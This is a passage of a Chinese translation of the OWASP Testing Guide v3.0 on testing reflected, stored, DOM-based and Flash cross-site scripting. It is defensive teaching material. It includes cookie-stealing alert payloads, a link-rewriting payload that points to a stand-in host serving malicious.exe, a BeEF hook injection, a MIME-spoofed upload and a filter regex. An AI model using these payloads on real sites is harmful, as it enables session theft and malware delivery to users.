常 见 的 攻 击 者 代 码 是 用 JavaScript 语 言 , 但 也 会 使 用 其 它 的 脚 本 语 言 , 例 如 ,ActionScript 和 VBScript。<br />

195


攻 击 者 通 常 会 利 用 这 些 漏 洞 来 安 装 键 盘 记 录 器 、 窃 取 受 害 者 的 cookie 、 窃 取 剪 贴 板 内 容 、 改 变 网 页 内 容 ( 例 如 , 下<br />

载 链 接 ) 。<br />

有 关 利 用 跨 站 脚 本 漏 洞 的 一 个 重 要 事 项 是 字 符 编 码 。 在 某 些 情 况 下 , Web 服 务 器 或 Web 应 用 程 序 无 法 过 滤 一 些 字<br />

符 编 码 。 例 如 , Web 应 用 程 序 可 能 会 过 滤 掉 “ ” , 但 可 能 无 法 过 滤 包 含 其 它 编 码 标 签 的 % 3cscript % 3E。<br />

测 试 字 符 编 码 非 常 好 的 工 具 是 OWASP 的 CAL9000 。<br />

黑 盒 测 试<br />

黑 盒 测 试 至 少 包 括 三 个 阶 段<br />

1. 检 测 输 入 向 量 。 测 试 必 须 确 定 Web 应 用 程 序 中 的 变 量 , 及 其 如 何 在 web 应 用 程 序 中 输 入 。 见 下 面 的 例 子 。<br />

2. 分 析 每 一 个 输 入 向 量 并 发 现 潜 在 的 漏 洞 。 检 测 XSS 漏 洞 时 , 测 试 者 通 常 会 对 每 个 输 入 向 量 使 用 特 制 的 输 入 数 据 。<br />

这 种 输 入 数 据 通 常 是 无 害 的 , 但 会 引 发 发 现 漏 洞 的 web 浏 览 器 起 反 应 。 可 通 过 使 用 一 个 Web 应 用 程 序 fuzzer 或 人<br />

工 方 式 产 生 测 试 数 据 。<br />

3. 对 于 每 一 个 前 一 阶 段 已 经 报 告 的 漏 洞 , 测 试 者 将 分 析 相 关 报 告 并 试 图 攻 击 这 些 漏 洞 。 该 攻 击 会 对 web 应 用 程 序 的<br />

安 全 造 成 实 际 影 响 。<br />

例 1<br />

例 如 , 网 站 有 欢 迎 通 知 " Welcome %username% " 下 载 链 接 。<br />

测 试 必 须 怀 疑 每 一 个 数 据 的 输 入 点 都 有 可 能 会 导 致 跨 站 脚 本 攻 击 。 为 了 分 析 该 漏 洞 , 测 试 者 将 与 用 户 变 量 交 互 并 试<br />

图 触 发 该 漏 洞 。 单 击 下 面 的 链 接 , 看 看 会 发 生 什 幺 :<br />

196


OWASP 测 试 指 南 v3.0<br />

http://example.com/index.php?user=alert(123)<br />

如 果 没 有 进 行 过 滤 将 弹 出 :<br />

这 表 明 存 在 一 个 XSS 漏 洞 。 如 果 测 试 者 点 击 了 测 试 链 接 , 他 能 在 任 何 人 的 浏 览 器 中 执 行 他 选 择 的 代 码 。<br />

例 2<br />

尝 试 另 一 段 代 码 ( 链 接 )<br />

http://example.com/index.php?user=window.onload = function() {var AllLinks=document.getElementsByTagName("a");<br />

AllLinks[0].href = "http://badexample.com/malicious.exe"; }<br />

导 致 以 下 情 况 :<br />

点 击 测 试 者 提 供 的 链 接 , 将 导 致 用 户 从 测 试 者 控 制 的 网 站 中 下 载 malicious.exe 文 件 。<br />

对 策<br />

如 今 大 多 数 Web 应 用 程 序 都 使 用 了 某 种 过 滤 形 式 。 但 是 有 些 应 用 程 序 仍 然 存 在 漏 洞 。 有 两 种 方 式 阻 止 反 射 式 跨 站<br />

脚 本 攻 击 : 一 是 在 服 务 器 端 通 过 过 滤 程 序 或 web 应 用 防 火 墙 阻 止 , 二 是 在 客 户 端 通 过 在 现 代 的 web 浏 览 器 中 嵌 入<br />

阻 止 机 制 。<br />

197


由 于 大 多 数 的 客 户 端 不 会 更 新 他 们 的 浏 览 器 , 测 试 不 能 指 望 这 种 方 式 。 他 们 必 须 在 假 设 Web 浏 览 器 不 会 阻 止 攻 击<br />

的 前 提 下 进 行 漏 洞 测 试 。 (Freietal 2008 )<br />

一 个 web 应 用 或 Web 服 务 器 ( 例 如 , Apache 的 mod_rewrite 模 块 ) 可 以 将 匹 配 规 则 表 达 的 URL 视 为 过 滤 程 序 。 例<br />

如 下 面 的 规 则 表 达 式 可 以 用 来 检 测 ( 和 阻 止 ) 标 记 或 斜 线 间 的 字 母 数 字 字 符 。<br />

/((\%3C)|)/i<br />

因 此 上 述 攻 击 行 不 通 。 但 是 规 则 表 达 式 不 能 完 全 解 决 漏 洞 。 在 灰 盒 测 试 中 , 测 试 者 可 以 访 问 源 代 码 并 分 析 过 滤 程 序<br />

以 确 定 是 否 可 以 避 开 漏 洞 。<br />

例 3<br />

为 了 检 测 是 否 存 在 漏 洞 , 黑 盒 测 试 将 使 用 许 多 测 试 向 量 。 每 个 测 试 向 量 避 免 不 同 的 过 滤 程 序 。 希 望 这 种 做 法 能 有<br />

效 。 例 如 , 假 设 执 行 下 面 的 代 码 :<br />

<br />

在 这 种 情 况 下 , 规 则 表 达 将 检 查 是 否 插 入 了<br />

<br />

这 将 导 致 利 用 上 述 反 射 式 跨 站 脚 本 漏 洞 。 如 果 JavaScript 代 码 源 于 受 害 者 网 站 www.example.com 并 存 储 在 攻 击 者 的<br />

Web 服 务 器 , 那 幺 将 执 行 该 代 码 。<br />

完 整 的 测 试 将 包 括 例 举 一 个 变 量 和 一 些 攻 击 媒 介 ( 检 查 Fuzz vectors appendix 和 Encoded injection appendix)<br />

最 后 , 分 析 答 案 会 将 事 情 复 杂 化 。 一 个 简 单 的 方 法 就 是 使 用 代 码 弹 出 一 个 对 话 框 。 这 通 常 表 明 攻 击 者 在 访 问 者 浏 览<br />

器 中 执 行 他 选 择 的 任 意 JavaScript。<br />

198


OWASP 测 试 指 南 v3.0<br />

参 考<br />

书 籍<br />

• Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-<br />

226229-0<br />

• Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley,<br />

ISBN 978-0-470-17077-9<br />

• Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks:<br />

XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3<br />

白 皮 书<br />

• CERT - Malicious HTML Tags Embedded in Client Web Requests: Read<br />

• Rsnake - XSS Cheat Sheet: Read<br />

• cgisecurity.com - The Cross Site Scripting FAQ: Read<br />

• G.Ollmann - HTML Code Injection and Cross-site scripting: Read<br />

• A. Calvo, D.Tiscornia - alert('A JavaScript agent'): Read ( To be published )<br />

• S. Frei, T. Dübendorfer,<br />

G. Ollmann, M. May - Understanding the Web browser threat: Read<br />

工 具<br />

• OWASP CAL9000: CAL9000 is a collection of web application security testing tools that complement the feature set of current<br />

web proxies and automated scanners.<br />

• PHP Charset Encoder(PCE) - http://h4k.in/encoding This tool helps you encode arbitrary texts to and from 65 kinds of charsets.<br />

Also some encoding functions featured by JavaScript are provided.<br />

• WebScarab WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.<br />

• XSS-Proxy - http://xss-proxy.sourceforge.net/ XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.<br />

• ratproxy - http://code.google.com/p/ratproxy/ A semi-automated, largely passive web application security audit tool,<br />

optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant<br />

design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.<br />

• Burp Proxy - http://portswigger.net/proxy/ Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web<br />

applications.<br />

199


4.8.2 存 储 式 跨 站 脚 本 测 试 (OWASP-DV-002)<br />

摘 要<br />

储 存 式 跨 站 脚 本 ( XSS ) 是 一 种 最 危 险 的 跨 站 脚 本 。 允 许 用 户 存 储 数 据 的 Web 应 用 程 序 都 有 可 能 接 触 到 这 种 类 型 的<br />

攻 击 。 本 章 举 例 说 明 了 存 储 跨 站 脚 本 注 入 和 相 关 利 用 情 景 。<br />

问 题 描 述<br />

如 果 Web 应 用 程 序 从 恶 意 用 户 处 收 集 了 输 入 数 据 并 将 这 些 数 据 存 储 在 数 据 库 中 以 供 以 后 使 用 , 就 会 发 生 储 存 式 跨<br />

站 点 脚 本 。 存 储 的 输 入 数 据 没 有 经 过 正 确 过 滤 , 因 此 恶 意 数 据 将 显 示 为 网 站 的 一 部 分 并 在 web 应 用 程 序 授 权 下 在 用<br />

户 浏 览 器 中 运 行 。<br />

利 用 这 种 漏 洞 可 以 进 行 一 系 列 基 于 浏 览 器 的 攻 击 , 其 中 包 括 :<br />

• 劫 持 另 一 用 户 的 浏 览 器<br />

• 获 取 应 用 程 序 用 户 认 为 的 敏 感 信 息<br />

• 应 用 程 序 伪 污 损<br />

• 内 部 主 机 端 口 扫 描 ( “ 内 部 ” 关 系 到 Web 应 用 程 序 用 户 )<br />

• 基 于 浏 览 器 漏 洞 的 定 向 传 输<br />

• 其 它 恶 意 活 动<br />

储 存 跨 站 脚 本 并 不 需 要 利 用 一 个 恶 意 链 接 。 如 果 用 户 访 问 存 储 式 跨 站 脚 本 网 页 , 那 幺 说 明 漏 洞 被 成 功 利 用 了 。 以 下<br />

几 个 阶 段 涉 及 到 一 个 典 型 的 存 储 跨 站 脚 本 攻 击 情 景 :<br />

• 攻 击 者 将 恶 意 代 码 存 储 到 存 在 漏 洞 的 页 面 。<br />

• 在 应 用 程 序 中 验 证 用 户<br />

• 用 户 访 问 存 在 漏 洞 的 网 页<br />

• 用 户 的 浏 览 器 执 行 恶 意 代 码<br />

使 用 浏 览 器 开 发 框 架 , 如 BeEF, XSS Proxy and Backframe, 同 样 可 以 进 行 这 种 攻 击 。 这 些 框 架 允 许 开 发 复 杂 的<br />

JavaScript 攻 击 。<br />

如 果 用 户 使 用 较 高 特 权 进 入 在 应 用 程 序 中 , 那 幺 储 存 跨 站 脚 本 更 加 危 险 。 当 管 理 员 访 问 存 在 漏 洞 的 网 页 时 , 浏 览 器<br />

会 自 动 执 行 攻 击 。 这 就 可 能 导 致 敏 感 信 息 泄 露 , 如 会 话 授 权 令 牌 。<br />

200


OWASP 测 试 指 南 v3.0<br />

黑 盒 测 试 实 例<br />

输 入 形 式<br />

第 一 步 是 确 定 所 有 用 户 输 入 存 储 在 后 端 并 在 应 用 程 序 中 显 示 的 数 据 内 容 。 存 储 用 户 输 入 的 典 型 的 例 子 存 在 于 :<br />

• 用 户 / 概 况 页 : 应 用 程 序 可 让 用 户 编 辑 / 更 改 用 户 信 息 , 例 如 名 字 、 姓 氏 、 昵 称 、 头 像 、 图 片 、 地 址 等<br />

• 购 物 车 : 应 用 允 许 用 户 在 购 物 车 中 存 储 产 品 , 然 后 再 审 查<br />

• 文 件 管 理 器 : 应 用 程 序 允 许 文 件 上 传<br />

• 应 用 程 序 设 置 / 参 数 选 择 : 应 用 程 序 允 许 用 户 设 置 参 数<br />

分 析 HTML 代 码<br />

应 用 程 序 存 储 的 输 入 数 据 通 常 在 HTML 标 记 中 使 用 , 但 它 也 可 能 在 JavaScript 内 容 中 存 在 。 在 这 个 阶 段 , 基 本 工 作<br />

是 确 认 输 入 数 据 是 否 存 储 并 且 如 何 在 网 页 内 容 中 定 位 。<br />

例 : 在 index2.php 存 储 的 数 据 邮 箱<br />

包 含 电 子 邮 件 值 的 index2.php 中 的 HTML 代 码 为 :<br />

<br />

In this case, the pen-tester needs to find a way to inject code outside the tag as<br />

below:<br />

MALICIOUS CODE<br />


确 保 通 过 应 用 程 序 提 交 输 入 。 如 果 实 施 客 户 端 安 全 控 制 , 通 常 会 导 致 禁 用 JavaScript 或 使 用 web 带 来 修 改 HTTP 请<br />

求 , 如 WebScarab 。 使 用 HTTP GET 和 POST 请 求 测 试 同 一 个 注 入 也 十 分 重 要 。 上 述 注 入 结 果 导 致 弹 出 包 含 cookie 值<br />

的 窗 口 。<br />

Result Expected:<br />

预 期 结 果 :<br />

注 入 后 的 HTML 代 码 是 :<br />

alert(document.cookie)<br />

重 新 加 载 页 面 时 浏 览 器 存 储 输 入 并 执 行 跨 站 脚 本 。<br />

如 果 应 用 程 序 改 变 了 输 入 , 测 试 人 员 应 该 测 试 应 用 程 序 跨 站 脚 本 过 滤 器 。 例 如 , 如 果 使 用 空 格 或 空 字 符 串 代 替 字 符<br />

串 “SCRIPT”, 那 幺 这 可 能 是 跨 站 脚 本 过 滤 的 迹 象 。 如 今 许 多 技 术 可 以 逃 避 输 入 过 滤 器 。 我 们 强 烈 建 议 测 试 提 供 广<br />

泛 跨 站 脚 本 攻 击 和 过 滤 绕 过 列 表 的 RSnake 和 Mario 跨 站 脚 本 作 弊 网 页 。 更 多 信 息 请 参 阅 白 皮 书 / 工 具 一 节 。<br />

使 用 BeEF 开 发 存 储 式 跨 站 脚 本<br />

先 进 的 JavaScript 开 发 框 架 , 如 BeEF,XSS Proxy 和 Backframe, 可 以 利 用 存 储 式 跨 站 脚 本 。 例 如 , 典 型 的 BeFF 利<br />

用 场 景 包 括 :<br />

• 注 入 联 系 攻 击 者 浏 览 器 开 发 框 架 的 JavaScript hook(BeEF)<br />

• 等 待 应 用 程 序 用 户 查 看 显 示 所 存 储 的 输 入 的 漏 洞 网 页<br />

• 通 过 BeEF 控 制 台 控 制 应 用 程 序 用 户 的 浏 览 器<br />

通 过 利 用 应 用 程 序 中 的 XSS 漏 洞 注 入 JavaScript hook。<br />

例 如 : index2.php 中 的 BeEF 注 入 :<br />

aaa@aa.com”><br />

202


OWASP 测 试 指 南 v3.0<br />

当 用 户 加 载 页 面 index2.php 时 , 浏 览 器 将 执 行 脚 本 beefmagic.js.php。 然 后 才 能 够 进 入 的 cookie 、 用 户 的 屏 幕 截 图 、<br />

用 户 剪 贴 板 , 并 发 起 复 杂 的 跨 站 脚 本 攻 击 。<br />

结 果 预 期<br />

如 果 许 多 用 户 使 用 不 同 权 限 访 问 这 个 存 在 漏 洞 的 网 页 , 该 攻 击 会 更 加 有 效 。<br />

文 件 上 传<br />

如 果 Web 应 用 程 序 允 许 文 件 上 传 , 那 幺 重 要 的 是 要 检 查 是 否 有 可 能 上 传 HTML 内 容 。 例 如 , 如 果 允 许 HTML 或 txt<br />

文 件 , 那 幺 在 文 件 上 传 时 可 以 注 入 跨 站 脚 本 。 渗 透 测 试 者 应 该 验 证 上 传 的 文 件 是 否 允 许 设 置 任 意 MIME 类 型 。<br />

文 件 上 传 时 考 虑 以 下 的 HTTP POST 请 求 :<br />

POST /fileupload.aspx HTTP/1.1<br />

[…]<br />

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and<br />

Settings\test\Desktop\test.txt"<br />

Content-Type: text/plain<br />

test<br />

浏 览 器 MIME 利 用 不 当 攻 击 可 以 利 用 这 一 设 计 缺 陷 。 例 如 , 像 JPG 和 GIF 这 种 看 似 无 害 的 文 件 可 能 包 含 一 个 跨 站 脚<br />

本 有 效 载 荷 , 当 浏 览 器 装 载 这 些 文 件 时 , 就 会 执 行 该 攻 击 。 当 image/gif 等 图 像 受 到 MIME 攻 击 时 , 他 们 可 能 设 置 成<br />

文 本 / HTML 格 式 。 在 这 种 情 况 下 , 客 户 端 浏 览 器 将 把 该 文 件 将 视 HTML 。<br />

伪 造 的 HTTP POST 请 求 :<br />

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and<br />

Settings\test\Desktop\test.gif"<br />

Content-Type: text/html<br />

203


alert(document.cookie)<br />

Internet Explorer 不 按 照 Mozilla Firefox 或 其 他 浏 览 器 相 似 的 方 式 处 理 MIME 类 型 。 例 如 , Internet Explorer 将 包 含<br />

HTML 内 容 的 txt 文 件 视 为 HTML 内 容 。 如 需 MIME 处 理 的 更 多 信 息 请 参 阅 本 章 底 部 白 皮 书 。<br />

灰 盒 测 试 实 例<br />

灰 盒 测 试 与 黑 盒 测 试 相 似 。 在 灰 盒 测 试 中 , 渗 透 测 试 者 对 应 用 已 有 部 分 了 解 。 在 这 种 情 况 下 , 渗 透 测 试 者 可 能 已 经<br />

了 解 有 关 用 户 输 入 的 信 息 、 输 入 验 证 控 件 、 以 及 数 据 存 储 。<br />

根 据 现 有 的 资 料 , 通 常 建 议 测 试 者 检 查 应 用 程 序 如 何 处 理 用 户 输 入 然 后 存 放 到 后 端 系 统 。 建 议 采 取 以 下 步 骤 :<br />

• 使 用 前 端 应 用 程 序 , 并 使 用 特 别 / 无 效 字 符 输 入 输 入 数 据<br />

• 分 析 应 用 响 应<br />

• 辨 认 输 入 验 证 控 件 是 否 存 在<br />

• 访 问 后 端 系 统 , 并 检 查 输 入 是 否 存 储 以 及 如 何 储 存<br />

• 分 析 源 代 码 , 并 了 解 应 用 程 序 如 何 显 示 所 储 存 的 输 入<br />

如 果 源 代 码 是 可 用 的 ( 白 盒 ) , 应 该 分 析 所 有 输 入 表 单 中 使 用 的 变 量 。<br />

特 别 是 , 编 程 语 言 如 PHP , ASP 和 JSP 中 使 用 的 预 定 义 变 量 / 功 能 以 便 能 从 HTTP GET 和 POST 请 求 中 存 储 输 入 。<br />

下 表 总 结 一 些 分 析 源 代 码 时 查 看 的 特 殊 变 量 和 功 能 :<br />

PHP<br />

ASP<br />

JSP<br />

• $_GET - HTTP GET variables<br />

• $_POST - HTTP POST<br />

variables<br />

• $_FILES - HTTP File Upload<br />

variables<br />

• Request.QueryString - HTTP GET<br />

• Request.Form - HTTP POST<br />

• Server.CreateObject - used to<br />

upload files<br />

• doGet, doPost servlets - HTTP GET and<br />

POST<br />

• request.getParameter - HTTP GET/POST<br />

variables<br />

参 考<br />

书 籍<br />

204


OWASP 测 试 指 南 v3.0<br />

• Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-<br />

226229-0<br />

• Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley,<br />

ISBN 978-0-470-17077-9<br />

• Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks:<br />

XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3<br />

白 皮 书<br />

• RSnake: "XSS (Cross Site Scripting) Cheat Sheet" - http://ha.ckers.org/xss.html<br />

• CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" -<br />

http://www.cert.org/advisories/CA-2000-02.html<br />

• Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" -<br />

http://yehg.org/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf<br />

• Amit Klein: "Cross-site Scripting Explained" - http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf<br />

• Gunter Ollmann: "HTML Code Injection and Cross-site Scripting" - http://www.technicalinfo.net/papers/CSS.html<br />

• CGISecurity.com: "The Cross Site Scripting FAQ" - http://www.cgisecurity.com/articles/xss-faq.shtml<br />

• Blake Frantz: "Flirting with MIME Types: A Browser's Perspective" -<br />

http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf<br />

工 具<br />

• OWASP CAL9000 CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP<br />

Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.<br />

• PHP Charset Encoder(PCE) - http://h4k.in/encoding PCE helps you encode arbitrary texts to and from 65 kinds of character sets<br />

that you can use in your customized payloads.<br />

• Hackvertor - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php Hackvertor is an online tool which allows many<br />

types of encoding and obfuscation of JavaScript (or any string input).<br />

• BeEF - http://www.bindshell.net/tools/beef/ BeEF is the browser exploitation framework. A professional tool to demonstrate<br />

the real-time impact of browser vulnerabilities.<br />

• XSS-Proxy - http://xss-proxy.sourceforge.net/ XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.<br />

• Backframe - http://www.gnucitizen.org/projects/backframe/ Backframe is a full-featured attack console for exploiting WEB<br />

browsers, WEB users, and WEB applications.<br />

205


• WebScarab WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.<br />

• Burp - http://portswigger.net/proxy/ Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web<br />

applications.<br />

• XSS Assistant - http://www.whiteacid.org/greasemonkey/#xss_assistant Greasemonkey script that allow users to easily test<br />

any web application for cross-site-scripting flaws.<br />

4.8.3 基 于 DOM 的 跨 站 脚 本 检 测 (OWASP-DV-003)<br />

概 述<br />

基 于 DOM 的 跨 站 点 脚 本 的 实 际 名 称 是 跨 站 脚 本 漏 洞 . 它 是 动 态 网 页 内 容 的 结 果 , 一 般 是 JavaScript 。 该 网 页 获 取 用<br />

户 输 入 然 后 进 行 一 些 不 安 全 的 操 作 导 致 产 生 XSS 漏 洞 。 这 份 指 南 只 会 讨 论 导 致 XSS 的 JavaScript 漏 洞 。<br />

DOM, 或 文 档 对 象 模 型 , 是 一 种 可 以 用 来 在 浏 览 器 中 代 表 文 档 的 结 构 格 式 。DOM 能 将 动 态 脚 本 如 JavaScript 提 供 给<br />

文 档 组 件 作 为 参 考 , 例 如 表 单 字 段 或 会 话 cookie。 浏 览 器 也 可 以 出 于 安 全 考 虑 使 用 DOM—— 例 如 在 为 其 它 域 名 获 得<br />

会 话 cookie 的 不 同 域 名 中 限 制 脚 本 。 当 通 过 攻 击 者 可 以 控 制 的 DOM 元 素 等 特 制 请 求 修 改 JavaScript 函 数 等 活 动 内 容<br />

时 , 就 说 明 存 在 基 于 DOM 的 跨 站 点 脚 本 漏 洞 。<br />

关 于 这 一 主 题 的 论 文 很 少 , 也 极 少 有 标 准 化 的 意 义 和 正 式 的 测 试 存 在 。<br />

问 题 描 述<br />

并 非 所 有 的 跨 站 脚 本 漏 洞 都 需 要 攻 击 者 控 制 从 服 务 器 返 回 的 内 容 , 但 滥 用 的 JavaScript 编 码 要 达 到 相 同 的 结 果 需 要<br />

这 样 做 。 其 结 果 和 典 型 的 跨 站 脚 本 漏 洞 一 样 , 只 有 运 载 工 具 是 不 同 的 。<br />

其 它 跨 站 点 脚 本 漏 洞 ( 反 射 式 和 储 存 跨 站 脚 本 ) 中 的 未 定 义 的 参 数 是 通 过 服 务 器 传 递 , 然 后 返 回 给 用 户 并 用 户 的 浏<br />

览 器 中 执 行 。 相 比 这 些 , 基 于 DOM 的 跨 站 点 脚 本 漏 洞 使 用 DOM 元 素 和 攻 击 者 定 制 的 代 码 控 制 代 码 流 程 以 便 改 变<br />

流 程 。<br />

由 于 其 性 质 , 基 于 DOM 的 跨 站 点 脚 本 漏 洞 可 以 在 许 多 情 况 下 执 行 , 不 需 要 服 务 器 确 定 哪 些 需 要 执 行 。 这 可 能 导 致<br />

许 多 一 般 的 跨 站 脚 本 过 滤 和 检 测 规 则 对 此 类 攻 击 无 能 为 力 。<br />

第 一 个 假 设 案 例 使 用 下 面 的 客 户 端 代 码 :<br />

<br />

document.write("Site is at: " + document.location.href + ".");<br />

<br />

206


OWASP 测 试 指 南 v3.0<br />

攻 击 者 可 能 给 受 感 染 页 面 追 加 #alert('xss'), 导 致 在 执 行 该 脚 本 时 会 显 示 警 告 框 。 在 这 种 情 况 下 , 由<br />

于 浏 览 器 认 为 凡 是 有 # 字 符 都 不 是 查 询 的 一 部 分 , 而 只 是 一 个 片 段 , 因 此 不 会 将 附 加 的 代 码 发 送 给 服 务 器 。 在 这 个<br />

例 子 中 , 立 刻 执 行 代 码 将 在 网 页 中 显 示 “ 跨 站 脚 本 ” 警 报 。 常 见 的 跨 站 脚 本 ( 持 久 性 和 非 持 久 ) 的 代 码 会 发 送 到 服<br />

务 器 , 并 重 新 显 示 给 用 户 。 跟 这 些 不 同 的 是 这 中 代 码 只 会 在 用 户 的 浏 览 器 上 立 即 执 行 。<br />

基 于 DOM 的 跨 站 点 脚 本 漏 洞 和 其 它 有 名 的 跨 站 脚 本 一 样 范 围 广 泛 , 其 中 包 括 Cookie 获 取 、 进 一 步 恶 意 脚 本 注 入 ,<br />

等 , 因 此 应 被 视 为 具 有 同 等 严 重 程 度 。<br />

黑 盒 测 试 实 例<br />

由 于 通 常 可 以 获 得 源 代 码 并 且 需 要 发 送 到 客 户 端 执 行 , 因 此 通 常 不 会 对 基 于 DOM 的 跨 站 点 脚 本 进 行 黑 盒 测 试 。<br />

灰 盒 测 试 实 例<br />

基 于 DOM 的 跨 站 点 脚 本 漏 洞 测 试<br />

JavaScript 的 应 用 程 序 跟 他 类 型 的 应 用 程 序 有 很 大 不 同 , 他 们 往 往 是 服 务 器 动 态 生 成 的 。 要 了 解 正 在 执 行 的 代 码 , 需<br />

要 检 索 测 试 网 站 以 便 确 定 正 在 执 行 的 JavaScript 的 所 有 情 况 以 及 哪 些 地 方 接 受 用 户 输 入 。 许 多 网 站 都 依 赖 于 各 种 各<br />

样 的 库 的 功 能 , 往 往 需 要 使 用 数 以 万 计 的 代 码 , 而 这 些 功 能 也 没 有 在 内 部 开 发 。 在 这 种 情 况 下 , 由 于 许 多 底 层 职 能<br />

从 未 使 用 过 , 并 且 分 析 这 些 模 块 库 需 要 花 费 更 多 的 时 间 , 自 上 而 下 的 测 试 往 往 成 为 唯 一 真 正 可 行 的 选 择 。<br />

用 户 输 入 来 源 于 两 种 主 要 形 式 :<br />

• 服 务 器 在 不 允 许 直 接 XSS 情 况 下 写 入 网 页 中 的 输 入<br />

• 从 客 户 端 JavaScript 对 象 获 得 的 输 入<br />

下 面 两 个 例 子 说 明 服 务 器 如 何 将 数 据 插 入 到 JavaScript :<br />

var data = "";<br />

var result = someFunction("");<br />

下 面 是 来 源 于 客 户 端 JavaScript 对 象 的 输 入 :<br />

var data = window.location;<br />

var result = someFunction(window.referer);<br />

虽 然 在 如 何 检 查 JavaScript 代 码 方 面 差 别 不 大 , 但 是 我 们 仍 然 要 注 意 : 当 通 过 服 务 器 获 得 输 入 时 , 服 务 器 可 以 使 用<br />

任 何 方 式 排 列 数 据 , 而 JavaScript 对 象 执 行 的 排 列 却 清 楚 易 懂 并 便 于 记 录 。 因 此 如 果 上 述 的 一 些 功 能 是 sink 节 点 , 那<br />

幺 前 者 的 开 发 将 取 决 于 服 务 器 过 滤 情 况 , 而 后 者 将 取 决 于 在 window.referer 对 象 中 的 浏 览 器 执 行 的 编 码 情 况 。<br />

207


此 外 , 许 多 在 过 去 导 致 XSS 过 虑 器 绕 过 的 向 量 证 明 : 在 模 块 外 经 常 执 行 JavaScript。 因 此 当 检 索 应 用 程 序<br />

时 , 使 用 事 件 处 理 程 序 和 CSS 模 块 等 脚 本 和 表 达 属 性 时 要 特 别 注 意 。 另 外 请 注 意 , 应 该 评 估 任 何 场 外 的 CSS 或 脚 本<br />

对 象 以 确 定 执 行 了 哪 些 代 码 。<br />

由 于 自 动 化 测 试 通 常 通 过 发 送 具 体 的 有 效 载 荷 并 尝 试 在 服 务 器 反 应 中 对 其 进 行 观 测 , 这 就 导 致 其 在 确 定 和 验 证 基 于<br />

DOM 的 XSS 时 成 功 率 很 低 。 它 对 下 面 的 简 单 案 例 还 是 能 起 到 一 定 作 用 , 其 中 信 息 参 数 会 反 馈 到 用 户 :<br />

<br />

var pos=document.URL.indexOf("message=")+5;<br />

document.write(document.URL.substring(pos,document.URL.length));<br />

<br />

但 下 面 的 人 为 案 件 却 不 能 检 测 到 :<br />

<br />

var navAgt = navigator.userAgent;<br />

if (navAgt.indexOf("MSIE")!=-1) {<br />

document.write("You are using IE as a browser and visiting site: " +<br />

document.location.href + ".");<br />

}<br />

else<br />

{<br />

document.write("You are using an unknown browser.");<br />

}<br />

<br />

出 于 这 个 原 因 , 除 非 测 试 工 具 能 对 客 户 端 代 码 执 行 进 更 多 分 析 , 否 则 自 动 化 测 试 不 能 检 测 对 基 于 DOM 的 XSS 敏 感<br />

的 区 域 。<br />

因 此 可 以 采 用 手 工 测 试 方 式 检 测 代 码 中 的 区 域 , 而 代 码 中 的 参 数 可 能 都 能 被 攻 击 者 利 用 。 例 如 , 这 些 区 域 包 括 : 动<br />

态 写 入 页 面 的 代 码 区 域 和 其 它 修 改 DOM 的 区 域 , 或 者 是 直 接 执 行 脚 本 的 区 域 。 其 它 案 例 可 以 参 考 本 章 最 后 部 分<br />

Amit Klein 的 文 章 excellent DOM XSS。<br />

参 考<br />

白 皮 书<br />

• Document Object Model (DOM) - http://en.wikipedia.org/wiki/Document_Object_Model<br />

• DOM Based Cross Site Scripting or XSS of the Third Kind - Amit Klein http://www.webappsec.org/projects/articles/071105.shtml<br />

208


OWASP 测 试 指 南 v3.0<br />

4.8.4FLASH 跨 站 脚 本 测 试 (OWASP-DV-004)<br />

概 述<br />

ActionScript 是 基 于 ECMAScript 的 一 种 语 言 。 当 处 理 交 互 需 求 时 ,Flash 应 用 程 序 会 使 用 此 语 言 。 和 其 它 语 言 一 样 ,<br />

ActionScript 有 一 些 可 能 会 导 致 安 全 问 题 的 实 施 模 式 。<br />

特 别 是 , 因 为 Flash 应 用 往 往 嵌 入 浏 览 器 中 , 基 于 DOM 的 跨 站 脚 本 等 漏 洞 同 样 可 以 在 有 缺 陷 的 Flash 应 用 存 在 。<br />

问 题 描 述<br />

自 从 “Flash 应 用 测 试 ” [ 1 ] 第 一 次 出 版 , Flash Player 就 发 布 了 新 版 本 以 便 缓 和 书 中 所 描 述 的 攻 击 威 胁 。 然 而 , 由<br />

于 它 很 大 程 度 上 取 决 于 开 发 商 不 安 全 的 编 程 方 法 , 有 些 部 分 仍 然 会 存 在 可 开 发 的 漏 洞 。。<br />

灰 盒 测 试 实 例<br />

反 编 译<br />

由 于 SWF 文 件 是 由 嵌 入 播 放 器 本 身 的 虚 拟 机 翻 译 的 , 他 们 存 在 被 破 解 和 分 析 的 潜 在 风 险 。 最 知 名 的 免 费 的<br />

ActionScript 2.0 破 解 版 是 flare。<br />

